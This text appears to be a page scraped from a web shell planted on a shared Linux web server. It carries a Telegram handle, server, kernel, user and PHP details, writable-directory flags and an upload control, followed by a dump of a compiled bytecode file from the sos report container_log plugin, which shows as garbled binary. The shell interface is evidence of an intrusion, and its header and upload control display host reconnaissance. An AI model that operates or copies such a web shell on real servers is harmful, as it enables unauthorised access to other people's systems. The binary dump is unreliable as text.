https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/container_log.cpython-310.pyc
o

-�_g*�@s2ddlZddlmZmZmZGdd�dee�ZdS)�N)�Plugin�IndependentPlugin�	PluginOptc@sTeZdZdZdZdZdZededgZefZe	dde
d	d
�gZdd�Zd
d�Z
dS)�ContainerLogz"All logs under /var/log/containers�
container_logz/var/log/containers/z/var/log/pods/z	*/*.log.*z*/*/*.log.*�rotatedFz(also get rotated logs from /var/log/pods)�default�val_type�desccCsb|�d�r|�|j�|�d�r|�|j�dSdS|�|jd�|�d�r/|�|jd�dSdS)N�all_logsrz*.logz*.log.*)�
get_option�
add_copy_spec�logdir�rotated_dirs�collect_subdirs�poddir)�self�r�B/usr/lib/python3/dist-packages/sos/report/plugins/container_log.py�setups

�
�zContainerLog.setupcCs,t�|�D]\}}}|�|�||��qdS)z=Collect *.log files from subdirs of passed root path
        N)�os�walkr
�	path_join)r�root�glob�dir_name�_rrrr's�zContainerLog.collect_subdirsN)�__name__�
__module__�__qualname__�
short_desc�plugin_namerrr�filesr�bool�option_listrrrrrrrs��
r)r�sos.report.pluginsrrrrrrrr�<module>s


https://t.me/RX1948 - 2025